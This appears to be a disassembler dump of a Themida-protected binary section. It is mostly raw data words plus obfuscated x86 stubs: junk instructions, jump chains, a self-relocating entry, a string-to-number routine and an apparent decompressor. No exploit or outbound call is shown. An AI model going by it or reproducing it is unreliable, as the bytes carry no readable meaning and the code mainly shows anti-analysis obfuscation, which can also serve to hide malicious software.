		dd 28C46ADDh, 0E9607267h, 0Fh, 2C2DBBE1h, 2E14FDF0h, 0FE24FEF4h
		dd 61C39AD4h, 2434815Ah, 15E40386h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 72C35646h, 8166D11Ch, 0E88B70C2h
		dd 10h,	0AC598889h, 1CD304Fh, 6EE83BFDh, 0F5E5ED98h, 5A616052h
		dd 2DB5FF5Ah, 6605E226h, 1BE0CB81h, 39ED858Dh, 6A05E2h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 45EA57C3h, 65FC80Eh,	0AE95Dh, 0F0800000h, 0CF2EF1E1h
		dd 0F9D04D30h, 785958Bh, 0D0FF05E2h, 3EA8166h, 585896Bh
		dd 6A05E204h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 9CE1C353h, 38A0C859h, 226E32F9h
		dd 0E381DE8Ah, 2228CC49h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0F0A6B6FAh
		dd 0A6DA1897h, 33BD83ACh, 5E24Ch, 4A840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0C14C38C3h, 0BE527D00h, 119D8B03h, 3105E205h, 0E219F995h
		dd 41B5FF05h, 0F05E206h, 95FFD3B7h, 5E20405h, 68D0Fh, 0BD290000h
		dd 5E210F1h, 0F00F883h,	0D585h,	4D858900h, 8305E21Dh, 0E20481BDh
		dd 840F0005h, 61h, 0D2B70F56h, 81B5FF5Ah, 6A05E204h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 590C351h, 0B1D6BBD4h, 1B8ACh, 81660000h, 0E90F05EAh
		dd 20Ch, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 15h,	0EAC35646h, 418D0943h, 8B05E207h, 41B5FFD3h, 6605E206h
		dd 0E6FACA81h, 641B5FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0B12204C3h, 9DB7C7C0h
		dd 8B14507Bh, 0E2171D9Dh, 5B5FF05h, 0E805E204h,	9, 2E7C34D6h
		dd 2247D36Ch, 73BDBAE2h, 0E95A06FCh, 18Ch, 18219D89h, 665F05E2h
		dd 83DBC3BAh, 0E22A6DBDh, 850F0005h, 0A5h, 5BD8951h, 5B05E200h
		dd 0A4985C6h, 8A4D05E2h, 4E8FEh, 76A80000h, 0BA66A435h
		dd 605069D1h, 800F60h, 0F000000h, 87h, 0CC8A6100h, 24448B61h
		dd 0E0BA6604h, 0B2008BEAh, 244489C1h, 38C0F04h,	66000000h
		dd 8958D88Bh, 0E221499Dh, 0DB5FF05h, 3105E215h,	0E22635B5h
		dd 0ED858D05h, 0E905E239h, 0Bh,	0DA4DC226h, 3AE10BB9h
		dd 0FF3EFCE3h, 56006AD0h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 14BA2BC1h, 0BA2582DAh
		dd 6BDE122Eh, 2A6D8589h, 0DF8005E2h, 0B830h, 85290000h
		dd 5E2083Dh, 4BDCBD89h,	8C0F05E2h, 5, 28DB8166h, 0FC00BB8h
		dd 3784h, 0E19D2300h, 0E905E200h, 0A0h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 15h, 4CC35242h, 39958BA0h
		dd 0F05E21Fh, 38Dh, 1DDF8000h, 405B5FFh, 6A05E2h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 1814D7C3h, 8B1D5EB1h, 0E6858D2Ah, 8105E4ACh,	30D12CAh
		dd 0AE85049h, 7E000000h, 51887155h, 99D13EF1h, 0AE8CCh
		dd 0C66B0000h, 0B18197AFh, 6B4E41E5h, 0FE8h, 132A8300h
		dd 0E5EAF73Fh, 5BFC2ECCh, 0DBFE9545h, 895B5A5Bh, 0B5292404h
		dd 5E203E5h, 0BD8D5650h, 5E2524Eh, 79FA8D8Dh, 0BCB805E2h
		dd 2B748323h, 0D00730CFh, 754947C8h, 83585EF8h,	0E20481BDh
		dd 6740005h, 4758D8Bh, 0C93305E2h, 0B8h, 0FC00B00h, 9984h
		dd 2DBD8300h, 5E21Eh, 95FF0674h, 5E22D31h, 0B8h, 75C00B00h
		dd 0E4BD8309h, 105E24Bh, 0BD830974h, 5E24BE4h, 8B0E7502h
		dd 0E24BDCB5h, 0E6858D05h, 0FF05E4ACh, 0E7858DD0h, 0FF05E241h
		dd 29BD83D0h, 205E21Dh,	0A58B2F75h, 5E20D65h, 481858Bh
		dd 48905E2h, 7D85C724h,	105E20Fh, 8B000000h, 0E24BE0B5h
		dd 51AD8B05h, 0B805E231h, 1, 0EB000CC2h, 7D85C700h, 105E20Fh
		dd 8B000000h, 0E20D65A5h, 0C5B58B05h, 8B05E205h, 0E23151ADh
		dd 0C2C03305h, 0BD83000Ch, 5E215D9h, 830F7400h,	0E20E65BDh
		dd 6740005h, 0E6595FFh,	0B58B05E2h, 5E24BDCh, 852360C3h
		dd 5E215E9h, 61C38B66h,	0BAA3D280h, 0
		dd 13A9958Bh
		db 0E2h, 5
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_4F57BA
; ---------------------------------------------------------------------------


loc_4F57B8:				; CODE XREF: Themida_:004F57BDj
		inc	eax
		inc	edi


loc_4F57BA:				; CODE XREF: Themida_:004F57B6j
		cmp	byte ptr [edi],	0
		jnz	short loc_4F57B8
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_4F57E9
; ---------------------------------------------------------------------------


loc_4F57C6:				; CODE XREF: Themida_:004F57EBj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_4F57DE
; ---------------------------------------------------------------------------


loc_4F57DB:				; CODE XREF: Themida_:004F57E1j
		mul	ebx
		dec	esi


loc_4F57DE:				; CODE XREF: Themida_:004F57D9j
		cmp	esi, 0
		ja	short loc_4F57DB
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_4F57E9:				; CODE XREF: Themida_:004F57C4j
		or	eax, eax
		jnz	short loc_4F57C6
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 6Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 7C8FC351h, 896087FBh, 0E208E195h,	61C68B05h
		dd 3D9D8B56h, 5A05E22Ch, 20F28166h, 0E9C18B97h,	1ADh, 24748B60h
		dd 247C8B24h, 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0FFE2830Fh,	0D202FFFFh
		dd 5850Fh, 168A0000h, 0FD21246h, 6A83h,	2C03300h, 5850FD2h
		dd 8A000000h, 0D2124616h, 12A830Fh, 0D2020000h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h,	8A000000h
		dd 0D2124616h, 840FC013h, 6, 8AF82B57h,	7885F07h, 2BB47h
		dd 70E90000h, 0B8FFFFFFh, 1, 850FD202h,	5, 1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0FFDE820Fh,	0C32BFFFFh
		dd 1BBh, 34850F00h, 0B9000000h,	1, 850FD202h, 5, 1246168Ah
		dd 2C913D2h, 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh
		dd 8B56FFFFh, 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h
		dd 0E88B4606h, 1B9h, 0FD20200h,	585h, 46168A00h, 0C913D212h
		dd 850FD202h, 5, 1246168Ah, 0DE820FD2h,	3DFFFFFFh, 7D00h
		dd 22830Fh, 3D0000h, 0F000005h,	0E82h, 8B564100h, 0F3F02BF7h
		dd 0B4E95EA4h, 83FFFFFEh, 870F7FF8h, 3,	5602C183h, 0F02BF78Bh
		dd 0E95EA4F3h, 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h,	17840Fh
		dd 0D1830000h, 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h
		dd 247C2BFFh, 247C8928h, 8C2611Ch, 929BA00h, 88E90000h
		dd 28000225h, 94025500h, 0A200560Bh, 94005606h,	6800560Bh
		dd 3F0012FFh, 25500h, 46000000h, 2000002h, 1000000h, 3000000h
		dd 0B7000000h, 0FA6CDCh, 4 dup(0)
		dd 90000000h, 9B005023h, 50004F66h, 0B3004FF6h,	9800500Dh
		dd 6C004FF3h, 5D004FF9h, 0DA004FF3h, 42004FC5h,	0F5004FEFh
		dd 0FF004FCDh, 68005001h, 2C005014h, 0DF004F8Fh, 65005009h
		dd 73004F74h, 15004FC7h, 1D005024h, 8004F9Bh, 7900500Eh
		dd 5A004FC2h, 48005018h, 34005017h, 5E005017h, 0B9004F60h
		dd 0E5004F84h, 9004FD5h, 63004FFDh, 0B4004F69h,	88005003h
		dd 2004FCFh, 6A005025h,	84004FA0h, 0AA005005h, 5A004FCFh
		dd 12004F77h, 2A004FBDh, 0A9004FC2h, 6F004FEFh,	31005027h
		dd 1E004FC3h, 0EE004F7Ah, 4600501Eh, 0AC004FFAh, 9C004F92h
		dd 77004FA6h, 2F004FDFh, 90004FA7h, 0B6004F68h,	43004FC7h
		dd 0D2004FCDh, 0C5004FC8h, 0D8004FFDh, 5E005021h, 43005001h
		dd 0A5004FC8h, 1A004FE1h, 86004FC1h, 2A004FF3h,	77004FFDh
		dd 9C004F8Dh, 0E0004FD2h, 47005012h, 37004FD4h,	5C004F7Ch
		dd 0B0004F91h, 0FD004F83h, 58004F77h, 5F004F81h, 4D005005h
		dd 6C004F82h, 0C4005023h, 0B4005004h, 0E6004F7Bh, 0FC00501Ch
		dd 0F5004FD2h, 52004FFDh, 14004FF8h, 45004FCBh,	0C4005005h
		dd 4E004F8Dh, 9E004FA1h, 28004FC1h, 1D00500Fh, 8F005000h
		dd 48004F80h, 12004FF3h, 0CE004FA2h, 0B3004FD3h, 0E4004FE8h
		dd 68004FADh, 88005011h, 0C5004FC8h, 26004F68h,	7A004F90h
		dd 0D5004F7Eh, 57004FFDh, 0AC004FA8h, 0E300500Fh, 0BB005021h
		dd 0B2004F8Dh, 0A7005017h, 20004F9Ch, 0DE004FFBh, 1004FEBh
		dd 6A004FDAh, 9F005010h, 5F004FAAh, 7F004FA3h, 0AC00500Dh
		dd 0F6004F74h, 8E004FC9h, 1F004FACh, 0E300500Bh, 0E3004FBFh
		dd 26004F87h, 3E004FD2h, 0FB004FAFh, 0C7005006h, 0C2004FCAh
		dd 6E004FC4h, 0D6004FE7h, 4005009h, 7004FCBh, 8D00500Fh
		dd 35004FC5h, 72005004h, 0BA004F70h, 33004FA0h,	89004FFEh
		dd 0A5004FCEh, 9C004FC2h, 1B004FA0h, 21004F79h,	65004FF0h
		dd 68004FE8h, 0AE004FE4h, 0A4004FB6h, 3B004F6Eh, 5004F99h
		dd 33004FE8h, 75004FBBh, 7D004F98h, 96005024h, 0D004F80h
		dd 80004F9Fh, 0E4004FDFh, 4E004F95h, 0C8004F92h, 7A004FBCh
		dd 47004F90h, 2D005008h, 0F2004FF8h, 10004F5Dh,	56004FECh
		dd 3300501Bh, 1400501Fh, 0D3004F92h, 61004FB2h,	0E004F8Dh
		dd 9E004F6Bh, 97004FC4h, 0AC005004h, 90004F96h,	8F004FDBh
		dd 0C9005022h, 64004FB9h
		db 0Ah,	50h, 0
; ---------------------------------------------------------------------------


loc_4F5CCB:				; CODE XREF: Themida_:0051891Cj
					; Themida_:00523149j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5E2801Ch
		mov	eax, edi
		add	edi, 5E27D34h
		cmp	eax, [edi+2Ch]
		jnz	short loc_4F5CE9
		jmp	short loc_4F5CFC
; ---------------------------------------------------------------------------


loc_4F5CE9:				; CODE XREF: Themida_:004F5CE5j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_4F5CF8
; ---------------------------------------------------------------------------


loc_4F5CF3:				; CODE XREF: Themida_:004F5CFAj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_4F5CF8:				; CODE XREF: Themida_:004F5CF1j
		or	ecx, ecx
		jnz	short loc_4F5CF3


loc_4F5CFC:				; CODE XREF: Themida_:004F5CE7j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_4F5D09:				; CODE XREF: Themida_:004F5D10j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_4F5D09


loc_4F5D12:				; CODE XREF: Themida_:loc_4F6041j
					; Themida_:004F75B1j ...
		lodsb
		xor	al, bl
		push	333Ah
		mov	[esp], edx
		mov	dl, 0A6h
		sub	dl, 7Fh
		shl	dl, 5
		sub	esp, 2
		mov	[esp], dx
		neg	byte ptr [esp]
		pop	dx
		push	ebx
		mov	bh, 99h
		and	bh, 0F9h
		not	bh
		shr	bh, 2
		jmp	loc_4F8CBB
; ---------------------------------------------------------------------------
		db 0E9h, 0CCh, 0FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F5D46:				; CODE XREF: Themida_:004FBBD4j
		mov	[esp], edi
		mov	edi, 3B1219F3h
		and	edi, 4980195h
		jmp	loc_501B39
; ---------------------------------------------------------------------------
		db 88h,	0D3h, 66h
		dd 0A203E95Ah, 505F0000h, 7922BE56h, 22B813E4h,	2913E479h
		dd 0E8295EF0h, 8158C589h, 0E53DA8C5h, 7C5812Bh,	81630B06h
		dd 506485F5h, 958DE9A9h, 0C2810000h, 1AF82EA4h,	5182E9h
		dd 4C28300h, 2474FF52h,	48F5A04h, 0C8855C24h, 46E8E99Ch
		dd 6CBB0000h, 0E973AE2Bh, 999Fh
; ---------------------------------------------------------------------------


loc_4F5DB8:				; CODE XREF: Themida_:004F7B66j
		push	3ACDh
		jmp	loc_4F7A8E
; ---------------------------------------------------------------------------
a_zBzSul	db '_‡×B‡×éî«',0
		dd 46800h, 1580000h, 24048BC3h,	9D59E9h, 5EAC100h, 5CD7E9h
		dd 0E9E68900h, 1921h, 958DE95Ah, 51AD0000h, 20F2BE56h
		dd 0F189365Bh, 0E6E1815Eh, 8107996Bh, 320629C1h, 0CCBA5259h
		dd 8135946Ch, 0B2F47AC2h, 8689E9E3h, 0C6810000h, 8593100Eh
		dd 875EF201h, 248B2414h, 88D3F624h, 0E95B66D8h,	8677h
		dd 4C1835Dh, 31240C33h,	1FE9240Ch, 3100009Eh, 0EE2959CDh
		dd 3D0AE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F5E4D:				; CODE XREF: Themida_:004F6143j
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_4F60A0
; ---------------------------------------------------------------------------
		db 0FEh, 0C2h, 0E9h
		dd 0ACD3h, 4055854h, 83000000h,	48704E8h, 24248B24h, 54241C89h
		dd 39B9515Bh, 0E950C00Eh, 0F89h, 3C8BF801h, 4C48124h, 50000000h
		dd 590DB6B8h, 8A01E96Fh, 59B00000h, 0B34BE9h, 0E2895200h
		dd 2F9C68h, 24048900h, 206B1DB8h, 0DBB9516Ah, 41761B0Ah
		dd 804AE9h, 5BDA3100h, 2977C281h, 0D689AAD5h, 8324148Bh
		dd 0A66804C4h, 89000015h, 8EBD242Ch, 815C5A03h,	4C59D6C6h
		dd 50A8E93Ah, 0C4830000h, 535A6602h, 536664B3h,	662414F6h
		dd 56241C8Bh, 0C681E689h, 4, 2C681h, 34870000h,	81E95C24h
		dd 5B00009Bh, 4C381h, 53520000h, 59160F68h, 0CB815B46h
		dd 118C7397h, 779DF381h, 0DA8957DDh, 88E8E95Bh,	0C8310000h
		dd 0B60EE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F5F39:				; CODE XREF: Themida_:004F7DDFj
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		xor	esi, 40EC6735h
		sub	esi, 15800FB2h
		sub	edx, esi
		pop	esi
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 0Ah
		jmp	loc_501E4F
; ---------------------------------------------------------------------------


loc_4F5F65:				; CODE XREF: Themida_:004FD770j
		inc	edx
		jmp	loc_4F7949
; ---------------------------------------------------------------------------
		db 89h
		dd 49E95EF5h, 5A0000A4h, 0E3B4EB81h, 0D80196A4h, 2DF8295Bh
		dd 75DB132Eh, 5F2434FFh, 0A98CE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F5F8E:				; CODE XREF: Themida_:004FA7B5j
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_4F9012
; ---------------------------------------------------------------------------
		db 1, 44h, 24h
		dd 48B5804h, 4C48324h, 405h, 20500h, 4870000h, 0AA12E924h
		dd 2C310000h, 4F35E924h, 4680000h, 8B000000h, 5EE92434h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F5FCF:				; CODE XREF: Themida_:004FC3ADj
		add	esp, 4
		jmp	loc_4FC2E8
; ---------------------------------------------------------------------------
		db 81h
		dd 0C16024E2h, 0BBBB5324h, 16C6651h, 0B5E95BDAh, 510000C2h
		dd 0DF79FDB9h, 0D2E9814Ch, 0E95D1552h, 0A345h
; ---------------------------------------------------------------------------


loc_4F5FFC:				; CODE XREF: Themida_:00501674j
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_4FD598
; ---------------------------------------------------------------------------
		db 5Eh,	52h, 0BAh
		dd 4, 3BE9D101h, 8B000083h, 89502404h, 405E0h, 0C0830000h
		dd 24048704h, 0C39D615Ch, 0FFFCD9E9h, 24048BFFh, 0B2C4E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F6041:				; CODE XREF: Themida_:00500D4Aj
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		dw 2C2Dh
		dd 0E93EAD2Eh, 3215h, 814BD3F7h, 0BD415F3h, 8988E9EDh
		dd 34FF0000h, 24048B24h, 6804C483h, 74D7h, 83241C89h, 0E95404ECh
		dd 2DD8h, 9709E95Ah, 0C3800000h, 4F22E995h, 0CD010000h
		dd 74FF5559h, 6BE90424h, 8100009Eh, 433C6EEFh, 0E9FA21ACh
		dd 7B09h
; ---------------------------------------------------------------------------


loc_4F60A0:				; CODE XREF: Themida_:004F5E58j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	5E9Ch
		mov	[esp], eax
		mov	eax, 1
		sub	esp, 4
		jmp	loc_4FB604
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 6DF58145h, 296FEA49h, 2626E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F60D2:				; CODE XREF: Themida_:004FB3B4j
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		push	1544h
		jmp	loc_500C1B
; ---------------------------------------------------------------------------
		dd 11B7C681h, 27E96711h, 81000027h, 4C1h, 4C18100h, 87000000h
		dd 55E9240Ch, 530000ADh, 5150E389h, 591BF3B9h, 59C88924h
		dd 12Dh, 0E9D0F700h, 472Ah, 0D3288DB2h,	0C3805A66h, 6A85E910h
		dd 0DFE90000h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F6133:				; CODE XREF: Themida_:004FF37Aj
		mov	esi, 29807910h
		xor	esi, edi
		pop	edi
		mov	edi, 5CF33AC3h
		xor	edi, esi
		pop	esi
		jmp	loc_4F5E4D
; ---------------------------------------------------------------------------
		dd 0E6E9D7F7h, 680000B2h, 0A51h, 0B9240C89h, 22313ED4h
		dd 4F0DE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F6161:				; CODE XREF: Themida_:004F8B07j
		shl	edx, 8
		jmp	loc_4F6775
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 7A52h
; ---------------------------------------------------------------------------


loc_4F6174:				; CODE XREF: Themida_:004F6253j
		pop	edi
		add	edx, 0FFFFFFFFh
		push	esi
		push	78D1h
		jmp	loc_4F7DD6
; ---------------------------------------------------------------------------
		db 89h
		dd 0CFB5240Ch, 0A693E9h, 4C38100h, 87000000h, 815C241Ch
		dd 4C2h, 0C343E900h, 0E95B0000h, 0AF9h,	9C242CD3h, 0FFFB61E9h
		dd 0F6815FFFh, 47A312B1h, 0FFFFBF57h, 0FE29FFFFh, 0BD4FE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F61C5:				; CODE XREF: Themida_:004F7957j
		pop	edx
		inc	eax
		jmp	loc_4F8D14
; ---------------------------------------------------------------------------
		dd 0C681CE29h, 43E695Dh, 592434FFh, 4C481h, 6EE90000h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F61E3:				; CODE XREF: Themida_:00500113j
		pop	ebx
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_4FD682
; ---------------------------------------------------------------------------
aXhgf		db 'Xhgf',0
		align 4
aIS		db '‰,$éÍ',1Bh,0
		align 4
		dd 0D205D001h, 5A4A984Ah, 3D38EB81h, 0EB814FB8h, 4E3071E1h
		dd 2560E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F6215:				; CODE XREF: Themida_:004FFAACj
		shl	ebp, 1
		jmp	loc_4F6298
; ---------------------------------------------------------------------------
		dd 0B5E69BB9h, 59CE29D7h, 815EF701h, 2C7h, 5250E900h, 0C5800000h
		dd 3FCBE9A1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F623A:				; CODE XREF: Themida_:004FD93Cj
		mov	[esp], edx
		mov	edx, 4E3A7E0Bh
		xor	edx, 4F086FC0h
		shl	edx, 7
		push	edi
		mov	edi, 180811D2h
		and	edx, edi
		jmp	loc_4F6174
; ---------------------------------------------------------------------------
		dd 52665359h, 0F6E9B6B2h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F6263:				; CODE XREF: Themida_:004FFC91j
		xchg	eax, [esp]
		pop	esp
		push	65D3h
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_4F80D5
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6E92404h, 100001Ah, 50EA81CAh, 81238676h, 9973E9C2h
		dd 240C8B6Fh, 0E9595451h, 9E48h
; ---------------------------------------------------------------------------


loc_4F6298:				; CODE XREF: Themida_:004F6217j
		dec	ebp
		push	edx
		mov	edx, 4E9816C7h
		add	edx, 0B26BED48h
		jmp	loc_4FFFF6
; ---------------------------------------------------------------------------


loc_4F62AA:				; CODE XREF: Themida_:004FB598j
		pop	edi
		add	esp, 4
		push	74CFh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_500B2F
; ---------------------------------------------------------------------------
		db 0B0h
		dd 85B15108h, 0D1F6D1F6h, 8003E9C0h, 0E1D0F7E1h, 289CC180h
		dd 0DD3459C8h, 78F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F62E1:				; CODE XREF: Themida_:004FAB1Bj
		shl	ebx, 3
		inc	ebx
		jmp	loc_500D59
; ---------------------------------------------------------------------------
		dw 34FFh
aXvicusC	db '$XV‰æU鯗',0
		dw 8600h
		dd 8620E9F5h, 0EA810000h, 74717435h, 81242C8Bh,	4C4h, 4C28100h
		dd 87000000h, 72E92414h, 58000018h, 0E9241C33h,	3CAh, 4C381h
		dd 0EB810000h, 4, 5C241C87h, 0E9242C89h, 8D7h, 0CD80DDF6h
		dd 0EED8020h, 459E800h,	148B66B6h, 2C48124h, 0E9000000h
		dd 3B07h, 0D1F7595Bh, 5C27E9h, 6ACBA00h, 0EAC15A0Eh, 4C946803h
		dd 3C890000h, 1A4ABF24h, 0D7F74593h, 0FFFFEF81h, 0EFC1FFFFh
		dd 1CE78108h, 0E975375Bh, 0FFFFFD07h, 2C381h, 0FF530000h
		dd 0E9042474h, 0B91Ah, 857A3ABBh, 5BDD2171h, 87EBE9h, 4C78300h
		dd 7E8DE9h, 91E95000h, 80000034h, 0F18831F6h, 8124148Bh
		dd 4C4h, 51C18000h, 8023E980h, 5366B3C1h, 0F928A4B7h, 0F9285B66h
		dd 68ECE9h, 1F3CBE00h, 0E9E96413h, 58000086h, 4C481h, 48F0000h
		dd 24248B24h, 9856E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F63F9:				; CODE XREF: Themida_:004FA74Dj
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_4FCF11
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 83000000h,	23E904C7h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F6417:				; CODE XREF: Themida_:004F6E97j
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_4FCBA9
; ---------------------------------------------------------------------------
aFSd		db 'fÓ$$œé„&',0
		align 4


loc_4F642C:				; CODE XREF: Themida_:004FAF5Bj
		xor	esi, [esp]
		jmp	loc_4FDD49
; ---------------------------------------------------------------------------


loc_4F6434:				; CODE XREF: Themida_:004FEF1Cj
		xchg	esi, [esp]
		jmp	loc_5002E5
; ---------------------------------------------------------------------------
		dd 4C481h, 4E460000h, 8014E9h, 241C8B00h, 4C481h, 46E90000h
		dd 8100009Bh, 6F2713C2h, 81C2293Ah, 6F2713EAh, 9EEA813Ah
		dd 68625E52h, 3A53h, 0BDFBE9h, 71685100h, 0E9043014h, 8D8Ch
; ---------------------------------------------------------------------------


loc_4F6480:				; CODE XREF: Themida_:004F95F4j
		mov	edx, [esp]
		add	esp, 4
		not	edx
		jmp	loc_4FAB30
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 7EAFE9h, 0F878E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F649A:				; CODE XREF: Themida_:004FCE6Ej
		pop	ecx
		jmp	loc_4F9164
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 2BC4E904h, 875A0000h, 565C241Ch
		dd 0B498E9h, 0E9E58900h, 0A849h, 55E28952h, 412B68h, 243C8900h
		dd 5528FFBFh, 5FFD891Eh, 2414F755h, 0ACBB535Dh,	0E942107Eh
		dd 1EBDh, 555DEA29h, 0B3786368h, 0E9565D37h, 0AE26h
; ---------------------------------------------------------------------------


loc_4F64F4:				; CODE XREF: Themida_:004F696Fj
		mov	[esp], esi
		mov	esi, 392A3382h
		jmp	loc_4FC56C
; ---------------------------------------------------------------------------
		db 30h,	0F0h, 8Bh
		dd 0E9512414h, 0AE8Ah, 468575Bh, 5F000000h, 0E95FFB01h
		dd 0FFFFFE70h
; ---------------------------------------------------------------------------


loc_4F651C:				; CODE XREF: Themida_:004FC80Dj
		mov	esp, [esp]
		jmp	loc_4F76E1
; ---------------------------------------------------------------------------
aFyC		db 'fY,C',0
		db 0F8h, 4, 43h
		dd 0E9241C8Bh, 80Ch
; ---------------------------------------------------------------------------


loc_4F6534:				; CODE XREF: Themida_:004F7ACAj
		mov	esi, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		xor	eax, edi
		jmp	loc_4F7B6B
; ---------------------------------------------------------------------------
		dd 68C28142h, 29460162h, 24148BD3h, 3104C483h, 0AD71E9C2h
		dd 815A0000h, 4C2h, 4C28100h, 87000000h, 535C2414h, 532CE4BBh
		dd 83F3814Bh, 0C159E325h, 57E908EBh, 5100009Fh,	0A25870B9h
		dd 3E9C100h, 4906E9C1h,	41E9D1F7h, 5A000010h, 8004C483h
		dd 7A046DEDh, 7A2CE800h, 0FF2434FFh, 83592434h,	0C48304C4h
		dd 393B6804h, 1C890000h, 0E94DB324h, 3D04h
; ---------------------------------------------------------------------------


loc_4F65CC:				; CODE XREF: Themida_:004FB55Ej
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	ebx, ebx
		jmp	loc_4F841A
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 0E9h
		dd 0EDFh, 242C335Fh, 33242C31h,	0F75C242Ch, 4EC83F9h, 68241C89h
		dd 1161h, 6A06E954h, 1ABB0000h,	0BA5EFF0Dh, 33CE586Eh
		dd 0FFF8ACE9h, 5BDA29FFh, 2474FF52h, 48F5A04h, 3C895C24h
		dd 2474FF24h, 18E95F04h, 80000030h, 0C30048EBh,	8148C380h
		dd 4ECh, 24048900h, 0CCFE63B4h,	8008ECC0h, 0C38014ECh
		dd 80E3286Eh, 34FF6EEBh, 0C4835824h, 5ACF6804h,	4890000h
		dd 2317B824h, 575522CBh, 0B9490DBFh, 81EFD15Ch,	0D83C5FC7h
		dd 5FFD89AEh, 0B2D4905h, 55E80153h, 0FE7204BDh,	0A6E58100h
		dd 452BD249h, 4C4B951h,	0CD017D39h, 807E9h, 6FE95800h
		dd 0FF00007Eh, 669D1C77h, 2414D259h, 9839E99Ch,	7F2D0000h
		dd 9BAE8B0h, 0E94F58C7h, 77EAh,	3162EE81h, 0F129EEB9h
		dd 3481E95Eh, 0E9520000h, 0A593h, 0C03EB652h, 0F68008EEh
		dd 4E6C01Ch, 287DEE80h,	24148BF5h, 81E78957h, 4C7h, 9A7CE900h
		dd 1C310000h, 241C3324h, 0E924248Bh, 0A04h
